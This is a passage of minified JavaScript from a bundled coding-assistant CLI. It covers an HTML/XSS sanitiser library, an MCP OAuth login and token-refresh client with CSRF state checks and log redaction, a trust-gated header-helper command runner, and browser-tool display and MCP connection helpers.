Y=q.charCodeAt(0);if(Y===127)return!1;if(Y<=31){if(Y===10||Y===13)return!0;return!1}return!0}),K.join("")}SCY.whiteList=pW7();SCY.getDefaultWhiteList=pW7;SCY.onTag=DCY;SCY.onIgnoreTag=jCY;SCY.onTagAttr=MCY;SCY.onIgnoreTagAttr=PCY;SCY.safeAttrValue=VCY;SCY.escapeHtml=cW7;SCY.escapeQuote=lW7;SCY.unescapeQuote=iW7;SCY.escapeHtmlEntities=nW7;SCY.escapeDangerHtml5Entities=rW7;SCY.clearNonPrintableCharacter=oW7;SCY.friendlyAttrValue=aW7;SCY.escapeAttrValue=sW7;SCY.onIgnoreTagStripAll=LCY;SCY.StripTagBody=RCY;SCY.stripCommentTag=yCY;SCY.stripBlankChar=ICY;SCY.attributeWrapSign='"';SCY.cssFilter=dW7;SCY.getDefaultCSSWhiteList=WCY});var MM6=v((XLY)=>{var ia=F$1();function ALY(A){var K=ia.spaceIndex(A),q;if(K===-1)q=A.slice(1,-1);else q=A.slice(1,K+1);if(q=ia.trim(q).toLowerCase(),q.slice(0,1)==="/")q=q.slice(1);if(q.slice(-1)==="/")q=q.slice(0,-1);return q}function KLY(A){return A.slice(0,2)==="</"}function qLY(A,K,q){var Y="",z=0,w=!1,H=!1,J=0,O=A.length,X="",$="";A:for(J=0;J<O;J++){var _=A.charAt(J);if(w===!1){if(_==="<"){w=J;continue}}else if(H===!1){if(_==="<"){Y+=q(A.slice(z,J)),w=J,z=J;continue}if(_===">"||J===O-1){Y+=q(A.slice(z,w)),$=A.slice(w,J+1),X=ALY($),Y+=K(w,Y.length,X,$,KLY($)),z=J+1,w=!1;continue}if(_==='"'||_==="'"){var G=1,Z=A.charAt(J-G);while(Z.trim()===""||Z==="="){if(Z==="="){H=_;continue A}Z=A.charAt(J-++G)}}}else if(_===H){H=!1;continue}}if(z<O)Y+=q(A.substr(z));return Y}var YLY=/[^a-zA-Z0-9\\_:.-]/gim;function zLY(A,K){var q=0,Y=0,z=[],w=!1,H=A.length;function J(G,Z){if(G=ia.trim(G),G=G.replace(YLY,"").toLowerCase(),G.length<1)return;var W=K(G,Z||"");if(W)z.push(W)}for(var O=0;O<H;O++){var X=A.charAt(O),$,_;if(w===!1&&X==="="){w=A.slice(q,O),q=O+1,Y=A.charAt(q)==='"'||A.charAt(q)==="'"?q:HLY(A,O+1);continue}if(w!==!1){if(O===Y)if(_=A.indexOf(X,O+1),_===-1)break;else{$=ia.trim(A.slice(Y+1,_)),J(w,$),w=!1,O=_,q=O+1;continue}}if(/\s|\n|\t/.test(X))if(A=A.replace(/\s|\n|\t/g," "),w===!1)if(_=wLY(A,O),_===-1){$=ia.trim(A.slice(q,O)),J($),w=!1,q=O+1;continue}else{O=_-1;continue}else if(_=JLY(A,O-1),_===-1){$=ia.trim(A.slice(q,O)),$=tW7($),J(w,$),w=!1,q=O+1;continue}else continue}if(q<A.length)if(w===!1)J(A.slice(q));else J(w,tW7(ia.trim(A.slice(q))));return ia.trim(z.join(" "))}function wLY(A,K){for(;K<A.length;K++){var q=A[K];if(q===" ")continue;if(q==="=")return K;return-1}}function HLY(A,K){for(;K<A.length;K++){var q=A[K];if(q===" ")continue;if(q==="'"||q==='"')return K;return-1}}function JLY(A,K){for(;K>0;K--){var q=A[K];if(q===" ")continue;if(q==="=")return K;return-1}}function OLY(A){if(A[0]==='"'&&A[A.length-1]==='"'||A[0]==="'"&&A[A.length-1]==="'")return!0;else return!1}function tW7(A){if(OLY(A))return A.substr(1,A.length-2);else return A}XLY.parseTag=qLY;XLY.parseAttr=zLY});var qD7=v((W3H,KD7)=>{var GLY=g$1().FilterCSS,dC=jM6(),eW7=MM6(),ZLY=eW7.parseTag,WLY=eW7.parseAttr,d$1=F$1();function p$1(A){return A===void 0||A===null}function DLY(A){var K=d$1.spaceIndex(A);if(K===-1)return{html:"",closing:A[A.length-2]==="/"};A=d$1.trim(A.slice(K+1,-1));var q=A[A.length-1]==="/";if(q)A=d$1.trim(A.slice(0,-1));return{html:A,closing:q}}function jLY(A){var K={};for(var q in A)K[q]=A[q];return K}function MLY(A){var K={};for(var q in A)if(Array.isArray(A[q]))K[q.toLowerCase()]=A[q].map(function(Y){return Y.toLowerCase()});else K[q.toLowerCase()]=A[q];return K}function AD7(A){if(A=jLY(A||{}),A.stripIgnoreTag){if(A.onIgnoreTag)console.error('Notes: cannot use these two options "stripIgnoreTag" and "onIgnoreTag" at the same time');A.onIgnoreTag=dC.onIgnoreTagStripAll}if(A.whiteList||A.allowList)A.whiteList=MLY(A.whiteList||A.allowList);else A.whiteList=dC.whiteList;if(this.attributeWrapSign=A.singleQuotedAttributeValue===!0?"'":dC.attributeWrapSign,A.onTag=A.onTag||dC.onTag,A.onTagAttr=A.onTagAttr||dC.onTagAttr,A.onIgnoreTag=A.onIgnoreTag||dC.onIgnoreTag,A.onIgnoreTagAttr=A.onIgnoreTagAttr||dC.onIgnoreTagAttr,A.safeAttrValue=A.safeAttrValue||dC.safeAttrValue,A.escapeHtml=A.escapeHtml||dC.escapeHtml,this.options=A,A.css===!1)this.cssFilter=!1;else A.css=A.css||{},this.cssFilter=new GLY(A.css)}AD7.prototype.process=function(A){if(A=A||"",A=A.toString(),!A)return"";var K=this,q=K.options,Y=q.whiteList,z=q.onTag,w=q.onIgnoreTag,H=q.onTagAttr,J=q.onIgnoreTagAttr,O=q.safeAttrValue,X=q.escapeHtml,$=K.attributeWrapSign,_=K.cssFilter;if(q.stripBlankChar)A=dC.stripBlankChar(A);if(!q.allowCommentTag)A=dC.stripCommentTag(A);var G=!1;if(q.stripIgnoreTagBody)G=dC.StripTagBody(q.stripIgnoreTagBody,w),w=G.onIgnoreTag;var Z=ZLY(A,function(W,D,j,M,P){var f={sourcePosition:W,position:D,isClosing:P,isWhite:Object.prototype.hasOwnProperty.call(Y,j)},N=z(j,M,f);if(!p$1(N))return N;if(f.isWhite){if(f.isClosing)return"</"+j+">";var T=DLY(M),C=Y[j],R=WLY(T.html,function(x,y){var B=d$1.indexOf(C,x)!==-1,b=H(j,x,y,B);if(!p$1(b))return b;if(B)if(y=O(j,x,y,_),y)return x+"="+$+y+$;else return x;else{if(b=J(j,x,y,B),!p$1(b))return b;return}});if(M="<"+j,R)M+=" "+R;if(T.closing)M+=" /";return M+=">",M}else{if(N=w(j,M,f),!p$1(N))return N;return X(M)}},X);if(G)Z=G.remove(Z);return Z};KD7.exports=AD7});var JD7=v((sZA,c$1)=>{var YD7=jM6(),zD7=MM6(),wD7=qD7();function HD7(A,K){var q=new wD7(K);return q.process(A)}sZA=c$1.exports=HD7;sZA.filterXSS=HD7;sZA.FilterXSS=wD7;(function(){for(var A in YD7)sZA[A]=YD7[A];for(var K in zD7)sZA[K]=zD7[K]})();if(typeof window<"u")window.filterXSS=c$1.exports;function PLY(){return typeof self<"u"&&typeof DedicatedWorkerGlobalScope<"u"&&self instanceof DedicatedWorkerGlobalScope}if(PLY())self.filterXSS=c$1.exports});import{createServer as PM6}from"http";import{parse as VLY}from"url";import{createHash as fLY,randomBytes as NLY}from"crypto";function OD7(A){try{let K=new URL(A);for(let q of vLY)if(K.searchParams.has(q))K.searchParams.set(q,"[REDACTED]");return K.toString()}catch{return A}}function ELY(){return async(A,K)=>{let q=AbortSignal.timeout(TLY);if(!K?.signal)return fetch(A,{...K,signal:q});let Y=new AbortController,z=()=>Y.abort();K.signal.addEventListener("abort",z),q.addEventListener("abort",z);let w=()=>{K.signal?.removeEventListener("abort",z),q.removeEventListener("abort",z)};if(K.signal.aborted)Y.abort();try{let H=await fetch(A,{...K,signal:Y.signal});return w(),H}catch(H){throw w(),H}}}function $D7(A=fM6){return`http://localhost:${A}/callback`}function CLY(){let A=parseInt(process.env.MCP_OAUTH_CALLBACK_PORT||"",10);return A>0?A:void 0}async function LLY(){let A=CLY();if(A)return A;let{min:K,max:q}=kLY,Y=q-K+1,z=Math.min(Y,100);for(let w=0;w<z;w++){let H=K+Math.floor(Math.random()*Y);try{return await new Promise((J,O)=>{let X=PM6();X.once("error",O),X.listen(H,()=>{X.close(()=>J())})}),H}catch{continue}}try{return await new Promise((w,H)=>{let J=PM6();J.once("error",H),J.listen(fM6,()=>{J.close(()=>w())})}),fM6}catch{throw Error("No available ports for OAuth redirect")}}function mqA(A,K){let q=UA({type:K.type,url:K.url,headers:K.headers||{}}),Y=fLY("sha256").update(q).digest("hex").substring(0,16);return`${A}|${Y}`}async function XD7({serverName:A,endpoint:K,token:q,tokenTypeHint:Y,clientId:z,accessToken:w}){let H=new URLSearchParams;if(H.set("token",q),H.set("token_type_hint",Y),z)H.set("client_id",z);else b6(A,`No client_id available for ${Y} revocation - server may reject`);let J={"Content-Type":"application/x-www-form-urlencoded"};try{await A8.post(K,H,{headers:J}),b6(A,`Successfully revoked ${Y}`)}catch(O){if(A8.isAxiosError(O)&&O.response?.status===401&&w)b6(A,`Got 401, retrying ${Y} revocation with Bearer auth`),await A8.post(K,H,{headers:{...J,Authorization:`Bearer ${w}`}}),b6(A,`Successfully revoked ${Y} with Bearer auth`);else throw O}}async function TM6(A,K){let Y=ff().read();if(!Y?.mcpOAuth)return;let z=mqA(A,K),w=Y.mcpOAuth[z];if(!w?.accessToken&&!w?.refreshToken){b6(A,"No tokens to revoke");return}try{let H=await QuA(K.url);if(!H){b6(A,"No OAuth metadata found");return}let J="revocation_endpoint"in H?H.revocation_endpoint:null;if(!J){b6(A,"Server does not support token revocation");return}let O=String(J);if(b6(A,`Revoking tokens via ${O}`),w.refreshToken)try{await XD7({serverName:A,endpoint:O,token:w.refreshToken,tokenTypeHint:"refresh_token",clientId:w.clientId,accessToken:w.accessToken})}catch(X){b6(A,`Failed to revoke refresh token: ${X instanceof Error?X.message:String(X)}`)}if(w.accessToken)try{await XD7({serverName:A,endpoint:J,token:w.accessToken,tokenTypeHint:"access_token",clientId:w.clientId,accessToken:w.accessToken})}catch(X){b6(A,`Failed to revoke access token: ${X instanceof Error?X.message:String(X)}`)}}catch(H){b6(A,`Failed to revoke tokens: ${H instanceof Error?H.message:String(H)}`)}_D7(A,K)}function _D7(A,K){let q=ff(),Y=q.read();if(!Y?.mcpOAuth)return;let z=mqA(A,K);if(Y.mcpOAuth[z])delete Y.mcpOAuth[z],q.update(Y),b6(A,"Cleared stored tokens")}async function l$1(A,K,q,Y){_D7(A,K),n("tengu_mcp_oauth_flow_start",{isOAuthFlow:!0,transportType:K.type,...H0(K)?{mcpServerBaseUrl:H0(K)}:{}});let z=await LLY(),w=$D7(z);b6(A,`Using redirect port: ${z}`);let H=new gqA(A,K,w,!0,q);try{let G=await QuA(K.url);if(G)H.setMetadata(G),b6(A,`Fetched OAuth metadata with scope: ${NM6(G)||"NONE"}`)}catch(G){b6(A,`Failed to fetch OAuth metadata: ${G instanceof Error?G.message:String(G)}`)}let J=await H.state(),O=null,X=null,$=()=>{if(O)O.close(),O=null;if(X)clearTimeout(X),X=null;b6(A,"MCP OAuth server cleaned up")},_=await new Promise((G,Z)=>{if(Y){let W=()=>{$(),Z(new tZA)};if(Y.aborted){W();return}Y.addEventListener("abort",W)}O=PM6((W,D)=>{let j=VLY(W.url||"",!0);if(j.pathname==="/callback"){let M=j.query.code,P=j.query.state,f=j.query.error,N=j.query.error_description,T=j.query.error_uri;if(!f&&P!==J){D.writeHead(400,{"Content-Type":"text/html"}),D.end("<h1>Authentication Error</h1><p>Invalid state parameter. Please try again.</p><p>You can close this window.</p>"),$(),Z(Error("OAuth state mismatch - possible CSRF attack"));return}if(f){D.writeHead(200,{"Content-Type":"text/html"});let C=VM6.default(String(f)),R=N?VM6.default(String(N)):"";D.end(`<h1>Authentication Error</h1><p>${C}: ${R}</p><p>You can close this window.</p>`),$();let x=`OAuth error: ${f}`;if(N)x+=` - ${N}`;if(T)x+=` (See: ${T})`;Z(Error(x));return}if(M)D.writeHead(200,{"Content-Type":"text/html"}),D.end("<h1>Authentication Successful</h1><p>You can close this window. Return to Claude Code.</p>"),$(),G(M)}}),O.listen(z,async()=>{try{b6(A,"Starting SDK auth"),b6(A,`Server URL: ${K.url}`);let W=await SC(H,{serverUrl:K.url});if(b6(A,`Initial auth result: ${W}`),W!=="REDIRECT")b6(A,`Unexpected auth result, expected REDIRECT: ${W}`)}catch(W){b6(A,`SDK auth error: ${W}`),$(),Z(W)}}),X=setTimeout(()=>{$(),Z(Error("Authentication timeout"))},300000)});try{b6(A,"Completing auth flow with authorization code");let G=await SC(H,{serverUrl:K.url,authorizationCode:_});if(b6(A,`Auth result: ${G}`),G==="AUTHORIZED"){let Z=await H.tokens();if(b6(A,`Tokens after auth: ${Z?"Present":"Missing"}`),Z)b6(A,`Token access_token length: ${Z.access_token?.length}`),b6(A,`Token expires_in: ${Z.expires_in}`);n("tengu_mcp_oauth_flow_success",{transportType:K.type,...H0(K)?{mcpServerBaseUrl:H0(K)}:{}})}else throw Error("Unexpected auth result: "+G)}catch(G){if(b6(A,`Error during auth completion: ${G}`),A8.isAxiosError(G))try{let Z=d01.parse(G.response?.data);if(Z.error==="invalid_client"&&Z.error_description?.includes("Client not found")){let W=ff(),D=W.read()||{},j=mqA(A,K);if(D.mcpOAuth?.[j])delete D.mcpOAuth[j].clientId,delete D.mcpOAuth[j].clientSecret,W.update(D)}}catch{}throw n("tengu_mcp_oauth_flow_error",{transportType:K.type,...H0(K)?{mcpServerBaseUrl:H0(K)}:{}}),G}}class gqA{serverName;serverConfig;redirectUri;handleRedirection;_codeVerifier;_authorizationUrl;_state;_scopes;_metadata;_refreshInProgress;onAuthorizationUrlCallback;constructor(A,K,q=$D7(),Y=!1,z){this.serverName=A,this.serverConfig=K,this.redirectUri=q,this.handleRedirection=Y,this.onAuthorizationUrlCallback=z}get redirectUrl(){return this.redirectUri}get authorizationUrl(){return this._authorizationUrl}get clientMetadata(){let A={client_name:`Claude Code (${this.serverName})`,redirect_uris:[this.redirectUri],grant_types:["authorization_code","refresh_token"],response_types:["code"],token_endpoint_auth_method:"none"},K=NM6(this._metadata);if(K)A.scope=K,b6(this.serverName,`Using scope from metadata: ${A.scope}`);return A}setMetadata(A){this._metadata=A}async state(){if(!this._state)this._state=NLY(32).toString("base64url"),b6(this.serverName,"Generated new OAuth state");return this._state}async clientInformation(){let K=ff().read(),q=mqA(this.serverName,this.serverConfig),Y=K?.mcpOAuth?.[q];if(Y?.clientId)return b6(this.serverName,"Found client info"),{client_id:Y.clientId,client_secret:Y.clientSecret};b6(this.serverName,"No client info found");return}async saveClientInformation(A){let K=ff(),q=K.read()||{},Y=mqA(this.serverName,this.serverConfig),z={...q,mcpOAuth:{...q.mcpOAuth,[Y]:{...q.mcpOAuth?.[Y],serverName:this.serverName,serverUrl:this.serverConfig.url,clientId:A.client_id,clientSecret:A.client_secret,accessToken:q.mcpOAuth?.[Y]?.accessToken||"",expiresAt:q.mcpOAuth?.[Y]?.expiresAt||0}}};K.update(z)}async tokens(){let K=ff().read(),q=mqA(this.serverName,this.serverConfig),Y=K?.mcpOAuth?.[q];if(!Y){b6(this.serverName,"No token data found");return}let z=(Y.expiresAt-Date.now())/1000;if(z<=0&&!Y.refreshToken){b6(this.serverName,"Token expired without refresh token");return}if(z<=300&&Y.refreshToken){if(!this._refreshInProgress)b6(this.serverName,`Token expires in ${Math.floor(z)}s, attempting proactive refresh`),this._refreshInProgress=this.refreshAuthorization(Y.refreshToken).finally(()=>{this._refreshInProgress=void 0});else b6(this.serverName,"Token refresh already in progress, reusing existing promise");try{let H=await this._refreshInProgress;if(H)return b6(this.serverName,"Token refreshed successfully"),H;b6(this.serverName,"Token refresh failed, returning current tokens")}catch(H){b6(this.serverName,`Token refresh error: ${H instanceof Error?H.message:String(H)}`)}}let w={access_token:Y.accessToken,refresh_token:Y.refreshToken,expires_in:z,scope:Y.scope,token_type:"Bearer"};return b6(this.serverName,"Returning tokens"),b6(this.serverName,`Token length: ${w.access_token?.length}`),b6(this.serverName,`Has refresh token: ${!!w.refresh_token}`),b6(this.serverName,`Expires in: ${Math.floor(z)}s`),w}async saveTokens(A){let K=ff(),q=K.read()||{},Y=mqA(this.serverName,this.serverConfig);b6(this.serverName,"Saving tokens"),b6(this.serverName,`Token expires in: ${A.expires_in}`),b6(this.serverName,`Has refresh token: ${!!A.refresh_token}`);let z={...q,mcpOAuth:{...q.mcpOAuth,[Y]:{...q.mcpOAuth?.[Y],serverName:this.serverName,serverUrl:this.serverConfig.url,accessToken:A.access_token,refreshToken:A.refresh_token,expiresAt:Date.now()+(A.expires_in||3600)*1000,scope:A.scope}}};K.update(z)}async redirectToAuthorization(A){this._authorizationUrl=A.toString();let K=A.searchParams.get("scope");if(b6(this.serverName,`Authorization URL: ${OD7(A.toString())}`),b6(this.serverName,`Scopes in URL: ${K||"NOT FOUND"}`),K)this._scopes=K,b6(this.serverName,`Captured scopes from authorization URL: ${K}`);else{let w=NM6(this._metadata);if(w)this._scopes=w,b6(this.serverName,`Using scopes from metadata: ${w}`);else b6(this.serverName,"No scopes available from URL or metadata")}if(!this.handleRedirection){b6(this.serverName,"Redirection handling is disabled, skipping redirect");return}let q=A.toString();if(!q.startsWith("http://")&&!q.startsWith("https://"))throw Error("Invalid authorization URL: must use http:// or https:// scheme");b6(this.serverName,"Redirecting to authorization URL");let Y=OD7(q);if(b6(this.serverName,`Authorization URL: ${Y}`),this.onAuthorizationUrlCallback)this.onAuthorizationUrlCallback(q);if(b6(this.serverName,`Opening authorization URL: ${Y}`),!await MY(q))b6(this.serverName,"Browser didn't open automatically. URL is shown in UI.")}async saveCodeVerifier(A){b6(this.serverName,"Saving code verifier"),this._codeVerifier=A}async codeVerifier(){if(!this._codeVerifier)throw b6(this.serverName,"No code verifier saved"),Error("No code verifier saved");return b6(this.serverName,"Returning code verifier"),this._codeVerifier}async refreshAuthorization(A){for(let q=1;q<=3;q++)try{b6(this.serverName,"Starting token refresh");let Y=ELY(),z=await QuA(new URL(this.serverConfig.url),{fetchFn:Y});if(!z){b6(this.serverName,"Failed to discover OAuth metadata");return}let w=await this.clientInformation();if(!w){b6(this.serverName,"No client information available");return}let H=await uW6(new URL(this.serverConfig.url),{metadata:z,clientInformation:w,refreshToken:A,resource:new URL(this.serverConfig.url),fetchFn:Y});if(H)return b6(this.serverName,"Token refresh successful"),await this.saveTokens(H),H;b6(this.serverName,"Token refresh returned no tokens");return}catch(Y){let z=Y instanceof Error&&/timeout|timed out|etimedout|econnreset/i.test(Y.message),w=Y instanceof du||Y instanceof _ZA||Y instanceof GZA;if(!(z||w)||q>=3){b6(this.serverName,`Token refresh failed: ${Y instanceof Error?Y.message:String(Y)}`);return}let J=1000*Math.pow(2,q-1);b6(this.serverName,`Token refresh failed, retrying in ${J}ms (attempt ${q}/3)`),await new Promise((O)=>setTimeout(O,J))}return}}function NM6(A){if(!A)return;if("scope"in A&&typeof A.scope==="string")return A.scope;if("default_scope"in A&&typeof A.default_scope==="string")return A.default_scope;if(A.scopes_supported&&Array.isArray(A.scopes_supported))return A.scopes_supported.join(" ");return}var VM6,TLY=30000,vLY,tZA,kLY,fM6=3118;var dBA=k(()=>{x$1();l1();c01();UuA();yW6();nD();n3();C1();W$();B5();b1();VM6=o(JD7(),1),vLY=["state","nonce","code_challenge","code_verifier","code"];tZA=class tZA extends Error{constructor(){super("Authentication was cancelled");this.name="AuthenticationCancelledError"}};kLY=o6()==="windows"?{min:39152,max:49151}:{min:49152,max:65535}});function RLY(A){return A.scope==="project"||A.scope==="local"}async function yLY(A,K){if(!K.headersHelper)return null;if("scope"in K&&RLY(K)&&!b7()){if(!Dw(!0)){let Y=Error(`Security: headersHelper for MCP server '${A}' executed before workspace trust is confirmed. If you see this message, post in ${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.FEEDBACK_CHANNEL}.`);return fE("MCP headersHelper invoked before trust check",Y),n("tengu_mcp_headersHelper_missing_trust",{}),null}}try{b6(A,"Executing headersHelper to get dynamic headers");let q=await A7(K.headersHelper,[],{shell:!0,timeout:1e4});if(q.code!==0||!q.stdout)throw Error(`headersHelper for MCP server '${A}' did not return a valid value`);let Y=q.stdout.trim(),z=G6(Y);if(typeof z!=="object"||z===null||Array.isArray(z))throw Error(`headersHelper for MCP server '${A}' must return a JSON object with string key-value pairs`);for(let[w,H]of Object.entries(z))if(typeof H!=="string")throw Error(`headersHelper for MCP server '${A}' returned non-string value for key "${w}": ${typeof H}`);return b6(A,`Successfully retrieved ${Object.keys(z).length} headers from headersHelper`),z}catch(q){return O2(A,`Error getting headers from headersHelper: ${q instanceof Error?q.message:String(q)}`),KA(Error(`Error getting MCP headers from headersHelper for server '${A}': ${q instanceof Error?q.message:String(q)}`)),null}}async function i$1(A,K){let q=K.headers||{},Y=await yLY(A,K)||{};return{...q,...Y}}var GD7=k(()=>{CK();i6();C1();Z1();l1();q6();b1()});class vM6{serverName;sendMcpMessage;isClosed=!1;onclose;onerror;onmessage;constructor(A,K){this.serverName=A;this.sendMcpMessage=K}async start(){}async send(A){if(this.isClosed)throw Error("Transport is closed");let K=await this.sendMcpMessage(this.serverName,A);if(this.onmessage)this.onmessage(K)}async close(){if(this.isClosed)return;this.isClosed=!0,this.onclose?.()}}function SLY(A,K,q){let Y=A.tabId;if(typeof Y==="number")RJ7(Y);let z=[];switch(K){case"navigate":if(typeof A.url==="string")try{let w=new URL(A.url);z.push(w.hostname)}catch{z.push(cBA(A.url,30))}break;case"find":if(typeof A.query==="string")z.push(`pattern: ${cBA(A.query,30)}`);break;case"computer":if(typeof A.action==="string"){let w=A.action;if(w==="left_click"||w==="right_click"||w==="double_click"||w==="middle_click")if(typeof A.ref==="string")z.push(`${w} on ${A.ref}`);else if(Array.isArray(A.coordinate))z.push(`${w} at (${A.coordinate.join(", ")})`);else z.push(w);else if(w==="type"&&typeof A.text==="string")z.push(`type "${cBA(A.text,15)}"`);else if(w==="key"&&typeof A.text==="string")z.push(`key ${A.text}`);else if(w==="scroll"&&typeof A.scroll_direction==="string")z.push(`scroll ${A.scroll_direction}`);else if(w==="wait"&&typeof A.duration==="number")z.push(`wait ${A.duration}s`);else if(w==="left_click_drag")z.push("drag");else z.push(w)}break;case"gif_creator":if(typeof A.action==="string")z.push(`${A.action}`);break;case"resize_window":if(typeof A.width==="number"&&typeof A.height==="number")z.push(`${A.width}x${A.height}`);break;case"read_console_messages":if(typeof A.pattern==="string")z.push(`pattern: ${cBA(A.pattern,20)}`);if(A.onlyErrors===!0)z.push("errors only");break;case"read_network_requests":if(typeof A.urlPattern==="string")z.push(`pattern: ${cBA(A.urlPattern,20)}`);break;case"shortcuts_execute":if(typeof A.shortcutId==="string")z.push(`shortcut_id: ${A.shortcutId}`);break;case"javascript_tool":if(q&&typeof A.text==="string")return A.text;return"";case"tabs_create_mcp":case"tabs_context_mcp":case"form_input":case"shortcuts_list":case"read_page":case"upload_image":case"get_page_text":case"update_plan":return""}return z.join(", ")||null}function hLY(A){if(!CT())return null;if(typeof A!=="object"||A===null||!("tabId"in A))return null;let K=typeof A.tabId==="number"?A.tabId:typeof A.tabId==="string"?parseInt(A.tabId,10):NaN;if(isNaN(K))return null;let q=`${ILY}${K}`;return FI.createElement(V,null," ",FI.createElement(X7,{url:q},FI.createElement(V,{color:"subtle"},"[View Tab]")))}function bLY(A,K,q){if(q)return S$1(A,[],{verbose:q});let Y=null;switch(K){case"navigate":Y="Navigation completed";break;case"tabs_create_mcp":Y="Tab created";break;case"tabs_context_mcp":Y="Tabs read";break;case"form_input":Y="Input completed";break;case"computer":Y="Action completed";break;case"resize_window":Y="Window resized";break;case"find":Y="Search completed";break;case"gif_creator":Y="GIF action completed";break;case"read_console_messages":Y="Console messages retrieved";break;case"read_network_requests":Y="Network requests retrieved";break;case"shortcuts_list":Y="Shortcuts retrieved";break;case"shortcuts_execute":Y="Shortcut executed";break;case"javascript_tool":Y="Script executed";break;case"read_page":Y="Page read";break;case"upload_image":Y="Image uploaded";break;case"get_page_text":Y="Page text retrieved";break;case"update_plan":Y="Plan updated";break}if(Y)return FI.createElement(k6,{height:1},FI.createElement(V,{dimColor:!0},Y));return null}function ZD7(A){return{userFacingName(K){return`Claude in Chrome[${A.replace(/_mcp$/,"")}]`},renderToolUseMessage(K,{verbose:q}){return SLY(K,A,q)},renderToolUseTag(K){return hLY(K)},renderToolResultMessage(K,q,{verbose:Y}){if(!xLY(K))return null;return bLY(K,A,Y)}}}function cBA(A,K){return A.length>K?A.slice(0,K)+"…":A}function xLY(A){return typeof A==="object"&&A!==null}var FI,ILY="https://clau.de/chrome/tab/";var WD7=k(()=>{mA();Eq();Pr();$M6();lu();FI=o($A(),1)});function n$1(){return parseInt(process.env.MCP_TIMEOUT||"",10)||30000}function EM6(A){return async(K,q)=>{if((q?.method??"GET").toUpperCase()==="GET")return A(K,q);let z=AbortSignal.timeout(MD7);if(!q?.signal)return A(K,{...q,signal:z});let w=new AbortController,H=()=>w.abort();q.signal.addEventListener("abort",H),z.addEventListener("abort",H);let J=()=>{q.signal?.removeEventListener("abort",H),z.removeEventListener("abort",H)};if(q.signal.aborted)w.abort();try{let O=await A(K,{...q,signal:w.signal});return J(),O}catch(O){throw J(),O}}}function CM6(){return parseInt(process.env.MCP_SERVER_CONNECTION_BATCH_SIZE||"",10)||3}function BLY(){return parseInt(process.env.MCP_REMOTE_SERVER_CONNECTION_BATCH_SIZE||"",10)||20}function DD7(A){return!A.type||A.type==="stdio"||A.type==="sdk"}function gLY(A){return!A.name.startsWith("mcp__ide__")||mLY.includes(A.name)}function kM6(A,K){return`${A}-${UA(K)}`}async function wB(A,K){let q=kM6(A,K);try{let Y=await cC(A,K);if(Y.type==="connected")await Y.cleanup()}catch{}cC.cache.delete(q)}async function oZA(A){if(A.config.type==="sdk")return A;let K=await cC(A.name,A.config);if(K.type!=="connected")throw new dg(`MCP server "${A.name}" is not connected`);return K}function PD7(A,K){if(A.type!==K.type)return!1;let{scope:q,...Y}=A,{scope:z,...w}=K;return UA(Y)===UA(w)}async function fp(A,K,q){return(await fD7({client:q,tool:A,args:K,signal:e7().signal})).content}async function HB(A,K){try{await wB(A,K);let q=await cC(A,K);if(q.type!=="connected")return{client:q,tools:[],commands:[]};let Y=!!q.capabilities?.resources,[z,w,H]=await Promise.all([QI(q),iBA(q),Y?lBA(q):Promise.resolve([])]),J=[];if(Y){if(![Mp,Pp].some((X)=>z.some(($)=>$.name===X.name)))J.push(Mp,Pp)}return{client:q,tools:[...z,...J],commands:w,resources:H.length>0?H:void 0}}catch(q){return O2(A,`Error during reconnection: ${q instanceof Error?q.message:String(q)}`),{client:{name:A,type:"failed",config:K},tools:[],commands:[]}}}async function jD7(A,K,q){for(let Y=0;Y<A.length;Y+=K){let z=A.slice(Y,Y+K);await Promise.all(z.map(q))}}async function a$1(A,K){let q=!1,Y=Object.entries(K??(await jp()).servers),z=Y.length,w=Y.filter(([W,D])=>D.type==="stdio").length,H=Y.filter(([W,D])=>D.type==="sse").length,J=Y.filter(([W,D])=>D.type==="http").length,O=Y.filter(([W,D])=>D.type==="sse-ide").length,X=Y.filter(([W,D])=>D.type==="ws-ide").length,$=Y.filter(([W,D])=>DD7(D)),_=Y.filter(([W,D])=>!DD7(D)),G={totalServers:z,stdioCount:w,sseCount:H,httpCount:J,sseIdeCount:O,wsIdeCount:X},Z=async([W,D])=>{try{if(uBA(W)){A({client:{name:W,type:"disabled",config:D},tools:[],commands:[]});return}let j=await cC(W,D,G);if(j.type!=="connected"){A({client:j,tools:[],commands:[]});return}let M=!!j.capabilities?.resources,[P,f,N]=await Promise.all([QI(j),iBA(j),M?lBA(j):Promise.resolve([])]),T=[];if(M&&!q)q=!0,T.push(Mp,Pp);A({client:j,tools:[...P,...T],commands:f,resources:N.length>0?N:void 0})}catch(j){O2(W,`Error fetching tools/commands/resources: ${j instanceof Error?j.message:String(j)}`),A({client:{name:W,type:"failed",config:D},tools:[],commands:[]})}};await Promise.all([jD7($,CM6(),Z),jD7(_,BLY(),Z)])}async function VD7(A,K){switch(A.type){case"text":return[{type:"text",text:A.text}];case"image":{let q=Buffer.from(String(A.data),"base64"),Y=await P7A(q,void 0,A.mimeType);return[{type:"image",source:{data:Y.base64,media_type:Y.mediaType,type:"base64"}}]}case"resource":{let q=A.resource,Y=`[Resource from ${K} at ${q.uri}] `;if("text"in q)return[{type:"text",text:`${Y}${q.text}`}];else if("blob"in q)if(uLY.has(q.mimeType??"")){let w=Buffer.from(q.blob,"base64"),H=await P7A(w,void 0,q.mimeType),J=[];if(Y)J.push({type:"text",text:Y});return J.push({type:"image",source:{data:H.base64,media_type:H.mediaType,type:"base64"}}),J}else return[{type:"text",text:`${Y}Base64 data (${q.mimeType||"unknown type"}) ${q.blob}`}];return[]}case"resource_link":{let q=A,Y=`[Resource link: ${q.name}] ${q.uri}`;if(q.description)Y+=` (${q.description})`;return[{type:"text",text:Y}]}default:return[]}}function r$1(A,K=2){if(A===null)return"null";if(Array.isArray(A)){if(A.length===0)return"[]";return`[${r$1(A[0],K-1)}]`}if(typeof A==="object"){if(K<=0)return"{...}";let Y=Object.entries(A).slice(0,10).map(([w,H])=>`${w}: ${r$1(H,K-1)}`),z=Object.keys(A).length>10?", ...":"";return`{${Y.join(", ")}${z}}`}return typeof A}async function LM6(A,K,q){if(A&&typeof A==="object"){if("toolResult"in A)return{content:String(A.toolResult),type:"toolResult"};if("structuredContent"in A&&A.structuredContent!==void 0)return{content:UA(A.structuredContent),type:"structuredContent",schema:r$1(A.structuredContent)};if("content"in A&&Array.isArray(A.content)){let z=(await 